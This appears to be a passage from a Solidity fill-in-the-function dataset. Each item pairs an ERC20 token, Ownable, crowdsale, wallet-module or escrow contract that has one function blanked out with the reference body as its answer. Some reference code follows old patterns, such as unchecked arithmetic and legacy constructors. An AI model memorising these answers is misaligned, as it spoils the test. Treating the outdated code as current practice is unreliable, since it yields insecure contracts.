* @param _weiAmount uint256 Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal whenNotPaused { require(_weiAmount >= tge.MIN_PURCHASE_AMOUNT(), "Insufficient funds to make the purchase."); super._preValidatePurchase(_beneficiary, _weiAmount); } /** * @dev Override parent behavior to process lockup purchase if needed * @param _weiAmount uint256 Value in wei to be converted into tokens * @return uint256 Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 _rate = rate; if (lockup) _rate = tge.TOKEN_RATE_LOCKUP(); return _weiAmount.mul(_rate); } }
lockup = true; if (_beneficiary == address(0x0)) buyTokens(msg.sender); else buyTokens(_beneficiary);
function buyLockupTokens(address _beneficiary) external payable
/** * @dev Purchase and lockup purchased tokens */ function buyLockupTokens(address _beneficiary) external payable
87584
KDebug
timestemp
contract KDebug is KPausable { KTimeController internal debugTimeController; function timestempZero() internal view returns (uint) { return timestemp() / 1 days * 1 days; } function timestemp() internal view returns (uint) {<FILL_FUNCTION_BODY> } function KSetDebugTimeController(address tc) external KOwnerOnly { debugTimeController = KTimeController(tc); } }
contract KDebug is KPausable { KTimeController internal debugTimeController; function timestempZero() internal view returns (uint) { return timestemp() / 1 days * 1 days; } <FILL_FUNCTION> function KSetDebugTimeController(address tc) external KOwnerOnly { debugTimeController = KTimeController(tc); } }
if ( debugTimeController != KTimeController(0) ) { return debugTimeController.timestemp(); } else { return now; }
function timestemp() internal view returns (uint)
function timestemp() internal view returns (uint)
40882
StandardToken
increaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } <FILL_FUNCTION> /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function increaseApproval(address _spender, uint _addedValue) public returns (bool)
/** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool)
34871
Ownable
_transferOwnership
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } <FILL_FUNCTION> }
require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner;
function _transferOwnership(address _newOwner) internal
/** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal
32904
Ownable
claimOwnership
contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor(address owner_) public { owner = owner_; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "onlyOwner"); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor(address owner_) public { owner = owner_; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "onlyOwner"); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } <FILL_FUNCTION> }
require(msg.sender == pendingOwner, "onlyPendingOwner"); emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0);
function claimOwnership() public
/** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public
23454
Ownable
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public {<FILL_FUNCTION_BODY> } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } }
owner = msg.sender;
function Ownable() public
function Ownable() public
8499
BaseModule
invokeWallet
contract BaseModule is Module { // Empty calldata bytes constant internal EMPTY_BYTES = ""; // The adddress of the module registry. ModuleRegistry internal registry; // The address of the Guardian storage GuardianStorage internal guardianStorage; /** * @dev Throws if the wallet is locked. */ modifier onlyWhenUnlocked(BaseWallet _wallet) { // solium-disable-next-line security/no-block-members require(!guardianStorage.isLocked(_wallet), "BM: wallet must be unlocked"); _; } event ModuleCreated(bytes32 name); event ModuleInitialised(address wallet); constructor(ModuleRegistry _registry, GuardianStorage _guardianStorage, bytes32 _name) public { registry = _registry; guardianStorage = _guardianStorage; emit ModuleCreated(_name); } /** * @dev Throws if the sender is not the target wallet of the call. */ modifier onlyWallet(BaseWallet _wallet) { require(msg.sender == address(_wallet), "BM: caller must be wallet"); _; } /** * @dev Throws if the sender is not the owner of the target wallet or the module itself. */ modifier onlyWalletOwner(BaseWallet _wallet) { require(msg.sender == address(this) || isOwner(_wallet, msg.sender), "BM: must be an owner for the wallet"); _; } /** * @dev Throws if the sender is not the owner of the target wallet. */ modifier strictOnlyWalletOwner(BaseWallet _wallet) { require(isOwner(_wallet, msg.sender), "BM: msg.sender must be an owner for the wallet"); _; } /** * @dev Inits the module for a wallet by logging an event. * The method can only be called by the wallet itself. * @param _wallet The wallet. */ function init(BaseWallet _wallet) public onlyWallet(_wallet) { emit ModuleInitialised(address(_wallet)); } /** * @dev Adds a module to a wallet. First checks that the module is registered. * @param _wallet The target wallet. * @param _module The modules to authorise. */ function addModule(BaseWallet _wallet, Module _module) external strictOnlyWalletOwner(_wallet) { require(registry.isRegisteredModule(address(_module)), "BM: module is not registered"); _wallet.authoriseModule(address(_module), true); } /** * @dev Utility method enbaling anyone to recover ERC20 token sent to the * module by mistake and transfer them to the Module Registry. * @param _token The token to recover. */ function recoverToken(address _token) external { uint total = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(address(registry), total); } /** * @dev Helper method to check if an address is the owner of a target wallet. * @param _wallet The target wallet. * @param _addr The address. */ function isOwner(BaseWallet _wallet, address _addr) internal view returns (bool) { return _wallet.owner() == _addr; } /** * @dev Helper method to invoke a wallet. * @param _wallet The target wallet. * @param _to The target address for the transaction. * @param _value The value of the transaction. * @param _data The data of the transaction. */ function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data) internal returns (bytes memory _res) {<FILL_FUNCTION_BODY> } }
contract BaseModule is Module { // Empty calldata bytes constant internal EMPTY_BYTES = ""; // The adddress of the module registry. ModuleRegistry internal registry; // The address of the Guardian storage GuardianStorage internal guardianStorage; /** * @dev Throws if the wallet is locked. */ modifier onlyWhenUnlocked(BaseWallet _wallet) { // solium-disable-next-line security/no-block-members require(!guardianStorage.isLocked(_wallet), "BM: wallet must be unlocked"); _; } event ModuleCreated(bytes32 name); event ModuleInitialised(address wallet); constructor(ModuleRegistry _registry, GuardianStorage _guardianStorage, bytes32 _name) public { registry = _registry; guardianStorage = _guardianStorage; emit ModuleCreated(_name); } /** * @dev Throws if the sender is not the target wallet of the call. */ modifier onlyWallet(BaseWallet _wallet) { require(msg.sender == address(_wallet), "BM: caller must be wallet"); _; } /** * @dev Throws if the sender is not the owner of the target wallet or the module itself. */ modifier onlyWalletOwner(BaseWallet _wallet) { require(msg.sender == address(this) || isOwner(_wallet, msg.sender), "BM: must be an owner for the wallet"); _; } /** * @dev Throws if the sender is not the owner of the target wallet. */ modifier strictOnlyWalletOwner(BaseWallet _wallet) { require(isOwner(_wallet, msg.sender), "BM: msg.sender must be an owner for the wallet"); _; } /** * @dev Inits the module for a wallet by logging an event. * The method can only be called by the wallet itself. * @param _wallet The wallet. */ function init(BaseWallet _wallet) public onlyWallet(_wallet) { emit ModuleInitialised(address(_wallet)); } /** * @dev Adds a module to a wallet. First checks that the module is registered. * @param _wallet The target wallet. * @param _module The modules to authorise. */ function addModule(BaseWallet _wallet, Module _module) external strictOnlyWalletOwner(_wallet) { require(registry.isRegisteredModule(address(_module)), "BM: module is not registered"); _wallet.authoriseModule(address(_module), true); } /** * @dev Utility method enbaling anyone to recover ERC20 token sent to the * module by mistake and transfer them to the Module Registry. * @param _token The token to recover. */ function recoverToken(address _token) external { uint total = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(address(registry), total); } /** * @dev Helper method to check if an address is the owner of a target wallet. * @param _wallet The target wallet. * @param _addr The address. */ function isOwner(BaseWallet _wallet, address _addr) internal view returns (bool) { return _wallet.owner() == _addr; } <FILL_FUNCTION> }
bool success; // solium-disable-next-line security/no-call-value (success, _res) = _wallet.call(abi.encodeWithSignature("invoke(address,uint256,bytes)", _to, _value, _data)); if(success && _res.length > 0) { //_res is empty if _wallet is an "old" BaseWallet that can't return output values (_res) = abi.decode(_res, (bytes)); } else if (_res.length > 0) { // solium-disable-next-line security/no-inline-assembly assembly { returndatacopy(0, 0, returndatasize) revert(0, returndatasize) } } else if(!success) { revert("BM: wallet invoke reverted"); }
function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data) internal returns (bytes memory _res)
/** * @dev Helper method to invoke a wallet. * @param _wallet The target wallet. * @param _to The target address for the transaction. * @param _value The value of the transaction. * @param _data The data of the transaction. */ function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data) internal returns (bytes memory _res)
71302
TSB
TSB
contract TSB is BurnableToken { string public constant name = "The School Book"; string public constant symbol = "TSB"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors function TSB () {<FILL_FUNCTION_BODY> } }
contract TSB is BurnableToken { string public constant name = "The School Book"; string public constant symbol = "TSB"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); <FILL_FUNCTION> }
totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner allowedAddresses[owner] = true;
function TSB ()
// Constructors function TSB ()
50493
UpgradeableToken
migrate
contract UpgradeableToken is Ownable, StandardToken { address public migrationAgent; /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed from, address indexed to, uint256 value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); // Migrate tokens to the new token contract function migrate() public {<FILL_FUNCTION_BODY> } function () public payable { require(migrationAgent != 0); require(balances[msg.sender] > 0); migrate(); msg.sender.transfer(msg.value); } function setMigrationAgent(address _agent) onlyOwner external { migrationAgent = _agent; UpgradeAgentSet(_agent); } }
contract UpgradeableToken is Ownable, StandardToken { address public migrationAgent; /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed from, address indexed to, uint256 value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); <FILL_FUNCTION> function () public payable { require(migrationAgent != 0); require(balances[msg.sender] > 0); migrate(); msg.sender.transfer(msg.value); } function setMigrationAgent(address _agent) onlyOwner external { migrationAgent = _agent; UpgradeAgentSet(_agent); } }
require(migrationAgent != 0); uint value = balances[msg.sender]; balances[msg.sender] = safeSub(balances[msg.sender], value); totalSupply = safeSub(totalSupply, value); MigrationAgent(migrationAgent).migrateFrom(msg.sender, value); Upgrade(msg.sender, migrationAgent, value);
function migrate() public
// Migrate tokens to the new token contract function migrate() public
83288
NOUMToken
approveAndCall
contract NOUMToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "NOUM"; name = "Final Freedom token"; decimals = 0; _totalSupply = 1000000000; balances[0xBE4ff2fa2CaccECE8cfb4763f7ed89cBEe63fD88] = _totalSupply; emit Transfer(address(0), 0xBE4ff2fa2CaccECE8cfb4763f7ed89cBEe63fD88, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract NOUMToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "NOUM"; name = "Final Freedom token"; decimals = 0; _totalSupply = 1000000000; balances[0xBE4ff2fa2CaccECE8cfb4763f7ed89cBEe63fD88] = _totalSupply; emit Transfer(address(0), 0xBE4ff2fa2CaccECE8cfb4763f7ed89cBEe63fD88, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
75450
TokenERC20
approveAndCall
contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {<FILL_FUNCTION_BODY> } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } <FILL_FUNCTION> function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; }
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success)
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success)
81251
ConditionalEscrow
withdraw
contract ConditionalEscrow is Escrow { function withdrawalAllowed(address payee) public view returns (bool); function withdraw(address payable payee) public {<FILL_FUNCTION_BODY> } }
contract ConditionalEscrow is Escrow { function withdrawalAllowed(address payee) public view returns (bool); <FILL_FUNCTION> }
require(withdrawalAllowed(payee), "ConditionalEscrow: payee is not allowed to withdraw"); super.withdraw(payee);
function withdraw(address payable payee) public
function withdraw(address payable payee) public
60955
PausableToken
approve
contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) {<FILL_FUNCTION_BODY> } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } <FILL_FUNCTION> function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
return super.approve(_spender, _value);
function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool)
function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool)
45435
Context
_msgData
contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) {<FILL_FUNCTION_BODY> } }
contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } <FILL_FUNCTION> }
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data;
function _msgData() internal view virtual returns (bytes memory)
function _msgData() internal view virtual returns (bytes memory)
52843
UnoRewardPool
approve
contract UnoRewardPool is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 190000*10**uint256(decimals); string public constant name = "Uno Reward Pool"; string public constant symbol = "UNRP"; address payable teamAddress; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function totalSupply() public view returns (uint256) { return initialSupply; } function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } function () external payable { teamAddress.transfer(msg.value); } }
